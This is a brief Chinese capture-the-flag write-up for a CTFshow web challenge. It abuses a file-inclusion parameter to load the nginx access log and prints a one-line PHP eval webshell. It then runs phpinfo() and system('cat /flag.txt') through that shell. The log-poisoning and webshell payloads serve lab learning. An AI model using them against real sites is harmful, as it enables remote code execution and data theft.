CTFshow webAK赛 （签到_观己）

1.打开环境

Fn+F12（或者F12） 检查元素，打开Hackbar。

Hackbar 安装教程

 2.首先访问file=/var/log/nginx/access.log看日志文件是否存在

一句话木马：

<?php @eval($_GET['pass']);?>

 上述操作结果如下：

3.添加: &pass=phpinfo();

效果：

 （emm..有点走远了.....）

4. 改成：   &pass=system("cat /flag.txt");

 找到flag了！！！！！